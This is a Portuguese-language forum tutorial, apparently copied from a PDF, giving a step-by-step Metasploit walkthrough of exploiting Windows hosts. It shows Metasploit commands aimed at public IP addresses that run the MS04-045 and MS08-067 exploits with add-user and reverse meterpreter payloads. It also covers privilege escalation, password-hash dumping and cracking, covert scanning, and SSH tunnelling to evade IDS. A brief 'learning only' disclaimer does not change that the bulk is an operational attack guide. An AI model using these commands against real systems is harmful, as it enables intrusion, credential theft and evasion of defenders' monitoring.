Você está na página 1de 12

http://www.portugal-a-programar.

pt/topic/34746-tutorial-detalhado-em-guiapratico-do-metasploit-indespensavel/
O Metasploit um framework criado por H.D.Moore, que serve para elaborao e
execuo de um repositrio de exploits.
Os meus maiores agradecimentos ao H.D. Moore e sua equipe por tornarem um sonho
realidade
Agora que todos j sabem o que o Metasploit, vamos aprender a trabalhar com ele.
Lembrando que este tutorial s tem o objectivo de aprendizagem, cada um responsvel
pelos seus actos.
De qualquer forma, e devido a certos requesitos dos testes de intruso devero usar
sempre proxy a no ser que usem um Lab com VMs

Uma das coisas que hoje j existe no metasploit uma interface grfica via browser que
simplifica o processo, apesar de aconselhar a usarem o cliente tipo linha de comandos
(msfcl)
A interface grfica o msfweb - Interface grfica via browser
Vou usar o linux mas h tambm a verso para windows. Ento levando em considerao
que tenham instalado no vosso PC e est a funcionar, vamos dar uma vista sobre a
utilizao desta SUPER PODEROSA FERRAMENTA... um sonho tornado realidade... para
mim que ainda me lembro quando para fazer isto era preciso dezenas de tools e
procedimentos... agora t tudo integrado numa plataforma/framework.
Vou tambm ter o cuidado de usar vulnerabilidades antigas e exploits ultrapassados para
que no possa ser usado como guia total para um ataque, visto cobrir todo o percurso de
exploitation. Mas basta seleccionar outros exploits para as novas coisinhas...
Vejam tambm a, digamos, o irmo web que a excelente w3af "Web Application
Attack and Audit Framework."
Apesar do metasploit tambm estar preparado para ataques web, mas eu especializei-me
nos dois e melhor trabalhar com as duas em conjunto.
O metasploit possui vrias ferramentas dentre elas: (e muitas mais para vocs
explorarem... explorem os payloads, os exploits e todos os outros utilitrios. Podem fazer-lo
lendo ou explorando nos ficheiros ou com comandos do tipo "show payloads" ou "show
exploits", entre outros.)
msfconsole - metasploit em modo console
msfcli - interface de automatizao de penetrao e explorao
msflogdump - exibe sesses de arquivos de log
msfplayload - usado para gerar payloads customizados

http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guiapratico-do-metasploit-indespensavel/
msfpescan - utilizado para analisar e descompilar executveis e DLLs
msfencode - um codificador interactivo de payload encoder
msfupdate - utilizado para verificar e fazer download de actualizao do framework
msfweb - Interface grfica via browser
Hoje devido ao facto do metasploit estar na Rapid7 podem usar uma verso gratuita do
detector de vulnerabilidades automtico, o NeXpose Community Edition... ele detecta as
vulnerabilidades e integra-se com o metasploit.
Nexpose (Detector de vulnerabilidades)
http://www.rapid7.com/vulnerability-scanner.jsp
Podem, como eu, usar o Nessus para isso ou outras ferramentas... hoje at o nmap tm
scripts para detectar vulnerabilidades, que so a principal questo no exploitation... a
partir de uma vulnerabilidade que tudo acontece e precisam saber a verso exacta do
software alvo e do SO... em alguns casos no windows at a lngua em que o windows esta.
Algo essencial para se escolher o exploit certo saber o servio e a verso exacta do
mesmo, pois os exploits so feitos nessa base. Para tal e se soubermos j que h uma
vulnerabilidade para um apache 2 verso anterior 2.15, podemos fazer um scan
especifico com o Nmap a essa porta (80) para no dar nas vistas. como se alguem
tivesse a aceder ao site, pois apenas so enviados pacotes para a porta 80. Se fizerem um
scan a todas as portas e houver algum equipamento de jeito no caminho vai detectar que
um scan e corta. Saibam o que procurar e no faam scans a todas as portas, a no ser
que no haja qualquer equipamento especial, como acontece na maioria dos datacenters
para as contas mais baixas. As mais usadas.
Cdigo :
Nmap sT P0 A version-all T0 p 80 ipalvo

(o T0 para que haja maior espao de tempo entre o envio de pacotes, para dificultar a
deteco. Mas no uma tcnica de evaso e pode ser dispensado. O Nmap tm diversas
tcnicas de evaso, como spoofing, etc... explorem a documentao)
Nessus (Detector de vulnerabilidades)
http://www.nessus.org/nessus/
O Nessus um motor que interpreta scripts em NASL (ver artigo meu na 3 Edio - Julho
de 2006 que explica melhor esta linguagem) e envia-os contra um ou mais alvos, fazendo
um relatrio dos resultados. Estes scripts procurar milhares de vulnerabilidades, mas
apensa as conhecidas. Podem desenvolver os vossos prprios scripts NASL para coisas
novas.
Voltando ao Metasploit, eu vou ensinar aqui a utilizar somente trs destas
ferramentas(msfconsole, msfcli, msfweb), pois acredito que um verdadeiro :smoke:
aprender sozinho o restante... como sempre dou a base para futuras exploraes. Ajuda
ao ensino e evita script kiddies
msfconsole:

http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guiapratico-do-metasploit-indespensavel/
Primeiramente digita-se na linha de comando :
Cdigo :
[root]#./msfconsole

se for no windows s digite msfconsole sem ./, continuando dever aparecer algo como:
(neste caso j foi usado o comando show exploits para se ter uma lista dos exploits. O
comando show serve para outras coisas como payloads e opes. Ver em detalhe)

Para quem d o primeiro passo pode executar o comando help para ver os comandos de
consola. Ateno que isto so apenas os comandos de consola e no todas as suas
funcionalidades.

http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guiapratico-do-metasploit-indespensavel/

Como vimos na primeira imagem do mestasploit e a nivel formativo, pois no mundo a srio
j sabero que exploit usar, ser: show [opo] (a opo poder ser uma das que vos
aparecero seno digitarem nenhuma, como podem ver no exemplo em seguida
desta forma:
Cdigo :
msf > show
msfconsole: show: requires an option: 'exploits', 'payloads', 'encoders', or 'nops'
msf >

Viram que apareceram as opes deste comando. O mesmo acontece com outros
comandos, pois podem ir assim explorando a framework.
Para saberem quais os exploits que existem nesta framework (desde a ultima actualizao,
devem ir actualizando o metasploit que est em constante evoluo) basta digitar o
comando:
Cdigo :
msf >show exploits;

http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guiapratico-do-metasploit-indespensavel/

Para saber os payloads que existem neste framework basta digitar o comando: show
payloads e assim por diante.
Ento dentro do ambiente do metasploit escolhemos o exploit assim com o comando use:

http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guiapratico-do-metasploit-indespensavel/

Cdigo :
msf > use wins_ms04_045
msf wins_ms04_045 >

viram que eu escolhi o wins_ms04_045 e o prompt mudou . Utilizando para isto o


comando: use
continuando...
Digitamos o nosso velho amigo : show , novamente para verificar quais atributos ele
aceita . Vejamos:
Cdigo :
msf wins_ms04_045 > show
msfconsole: show: specify 'targets', 'payloads', 'options', or 'advanced'
msf wins_ms04_045 >

Vimos aqui que ele aceita targets, payloads, options ou advanced.


Vamos verificar quais opes que este exploit j seleccionado aceita:
Cdigo :

http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guiapratico-do-metasploit-indespensavel/
msf wins_ms04_045 > show options

Exploit Options
===============

Exploit: Name Default Description


-------- ------ ------- -----------------required RHOST The target address
required RPORT 42 The target port

Target: Target Not Specified

msf wins_ms04_045 >

Este exploit aceita somente duas opes : o ip alvo e a porta alvo.


Agora deves estar a perguntar... como fao para utilizar isto. Simples, basta configurar o
que o exploit aceita (h diferenas entre exploits e cada vez mais, pois mais complexidade
e vectores so adicionados, diferenciando cada vez mais os exploits), lembrando que onde
estiver escrito required, significa que estas opes tem que ser configuradas
obrigatoriamente para o exploit funcionar. Continuando...
Faamos assim:
Cdigo :
msf wins_ms04_045 > set RHOST 200.126.35.34
RHOST -> 200.126.35.34
msf wins_ms04_04>

msf wins_ms04_045 > set RPORT 42


RPORT -> 42
msf wins_ms04_045 >

Vejam que utilizei a mesma porta que o valor por default...


Agora teremos que seleccionar o payload para o nosso exploit. O payload nada mais que
um software acoplado ao exploit para fazer as mais variadas tarefas.
Digitamos ento o comando para saber os payloads suportados pelo nosso exploit: show
payloads
Cdigo :
msf wins_ms04_045 > show payloads

Metasploit Framework Usable Payloads

http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guiapratico-do-metasploit-indespensavel/
====================================

win32_adduser Windows Execute net user /ADD


win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_stg Windows Staged Bind Shell
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_exec Windows Execute Command
win32_passivex Windows PassiveX ActiveX Injection Payload
win32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter Payload
win32_passivex_stg Windows Staged PassiveX Shell
win32_passivex_vncinject Windows PassiveX ActiveX Inject VNC Server Payload
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_ord Windows Staged Reverse Ordinal Shell
win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject

msf wins_ms04_045 >

Eu vou escolher o primeiro payload, que faz com que seja adicionado remotamente um
utilizador no sistema windows (como tenho dito tanto sobre os payloads, hoje j h
payloads para tudo e todos os SOs at uma shell especial para cracking que o
meterpreter)
O meterpreter um complexo payload que uma espcia de shell especial para
cracking, com funcionalidades especificas para isso. Algo que j falei bastante
tambm.
Documento onde detalhado tcnicamente o meterpreter:
http://www.nologin.org/Downloads/Papers/meterpreter.pdf
Caso queiram usar o meterpreter, na seleco do payload, escolham um com meterpreter,
como por exemplo win32_reverse_meterpreter... isto vai criar uma sesso no alvo, com o
meterpreter e como reverse passa pelas firewalls, pois estas pensam que como vem de
dentro da rede confivel.

http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guiapratico-do-metasploit-indespensavel/
Assim:
Cdigo :
msf wins_ms04_045 > set PAYLOAD win32_adduser jolie
PAYLOAD win32_adduser -> jolie
msf wins_ms04_045>

Vamos agora listar os sistemas operativos que sero os alvos: Utilizando o velho
comando : show, s que agora assim: show targets
Cdigo :
msf wins_ms04_045 > show targets

Supported Exploit Targets


=========================

0 Windows 2000 English

msf wins_ms04_045 >

S temos uma opcao aqui, somente o windows 2000 em ingles vulneravel, mas tudo bem...

msf wins_ms04_045 > set TARGET 0


TARGET -> 0
msf wins_ms04_045 >

tamos mesmo, mesmo, mesmo a um tirinho de caadeira... valeu a pena chegar aqui...
pois agora apenas falta uma coisa para completar nossa tarefa... Executar o nosso exploit,
que mais um pacote exploit (conjunto de vrias coisas que antigamente se faziam em
separado e com muito trabalho) do que somente um exploit.
Digite somente: exploit (lindo no? Isto disparar o exploit em direco ao alvo.
ATENO. S usar alvos virutais ou mquinas voas
Cdigo :
msf wins_ms04_045 > exploit

E pronto...Acabamos a nossa primeira etapa, agora vamos passar para o msfcli.


O msfcli utilizado para poder fazer tudo de uma s vez. Nao precisando do passo a
passo descrito acima. Se ns ja conhecemos o exploit isto agiliza
muito o nosso trabalho na linha de comando digitamos assim:
Cdigo :

http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guiapratico-do-metasploit-indespensavel/
[root]#./msfcli wins_ms04_045 RHOST =200.156.23.25 RPORT=42 PAYLOAD=win32_adduser
teste TARGET=0 E

e vejam que faz a mesma coisa que no modo console.


Caso o exploit se direcione a um servio sem previlgios especiais pode-se usar um
exploit local para escalar previlgios ou os seguintes comandos do meterpreter. Ateno
que neste caso tero de estar a usar o meterpreter (para isso tero na altura de seleco
do payload escolher um especial com o meterpreter, como por
exemplo win32_reverse_meterpreter)
E na sesso do meterpreter usem os scripts j existentes para isso, como apresento em
baixo.
Cdigo :
meterpreter> use priv
meterpreter> getsystem

Mais coisas interessantes que se podem fazer com o meterpreter em conjunto com outras
ferrametas geniis, como o LophtCrack ou o Cain e Abel para crackar hashes de
passwords.
Has passwords esto codificadas mas podem ser sacadas e posteriormente crackadas...
garanto que conseguiro algumas que no sejam muito fortes, o que muito normal.
Por exemplo. Como fazer o dump das hashes das passowrds com o meterpreter e fazer o
download para depois as crackarem com algum dos programas anteriormente
mencionados.
Cdigo :
.MSFConsole
> use windows/smb/ms08_067_netapi
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST (meu Ip)
> set RHOST (Ip Remoto)
> exploit
> getuid
> hashdump
> use -f cmd -c

Para fazer downloads ou uploads dentro do meterpreter, entre o vosso PC e o alvo


comprometido.
Cdigo :
meterpreter> download arquivo1 arquivo2 pastaDestino
meterpreter> upload arquivo1 arquivo2 pastaDestino

http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guiapratico-do-metasploit-indespensavel/
Para crackar as hashes eu uso o LOphtCrack. s guardar o resultado do "hashdump"
num .txt (meuHash.txt) e usa-lo no LOphtCrack. Garanto que tero algumas passwords
interessantes.
(investiguem tambm a familia Pwdump... muito interessante para certas situaes.)

Citar
pwdump is the name of various Windows programs that output the LM and NTLM password hashes of
local user accounts from the Security Account Manager (SAM). In order to work, it must be run under an
Administrator account, or be able to access an Administrator account on the computer where the hashes
are to be dumped; so Pwdump does not compromise security. Most of these programs are open-source.

http://en.wikipedia.org/wiki/Pwdump (aqui so explicadas as vrias cores e sabores e


seus links)
Vamos passar para uma forma ainda mais fcil. Garanto que o ppl mais windows vo
adorar esta forma, que um GUI (Grafical User Interface... mas no mundo dos exploits?
Sim... vejam)
Trata-se da ferramenta msfweb que quando executado permite fazermos tudo por uma
pagina web, todas as funcionalidades aplicaveis esto l.
Para acederem ao GUI do metasploit faam:
Cdigo :
[root]#./msfweb
+----=[ Metasploit Framework Web Interface (ip:55555)

Deixar correr... Abrir em seguida o browser e digitar o url: teu ip, localhost, 127.0.0.1...
Mais a porta 55555
Seria assim: http://localhost:55555
E assim vero a magia desta ferramenta. Um rico GUI onde facilmente qualquer um pode
configurar uma sesso completa, sem digitar comandos em consolas. Claro que no alvo
vo (ou no) usar a consola, pois mais...
Poderemos com isto fazer tudo graficamente sem digitar comandos etc etc, somente
seleccionando.
Para complementar e devido a essas novas IPS e IDS que detectam padres de trfego e
podem ser actualizadas com as assinaturas dos novos exploits, aqui fica um extra
dedicado s novas appliances PANDA
Com um tunnel SSH o trfego vai encriptado e no possvel identificar o mesmo, o que

http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guiapratico-do-metasploit-indespensavel/
vai dentro dessa sesso.
uma das mais usadas tcnicas de evaso,
Criando uma sesso meterpreter persistente sobre um tnel SSH (integrando com o
metasploit)
http://secnow.wordpress.com/2010/04/01/criando-uma-sessao-meterpreter-persistente-apartir-de-um-tunel-ssh/
Podem ver muitos videos que at j apresentei alguns, com tudo isto em "real" e muito
mais... investiguem por ai, pois h magia no ar
teckV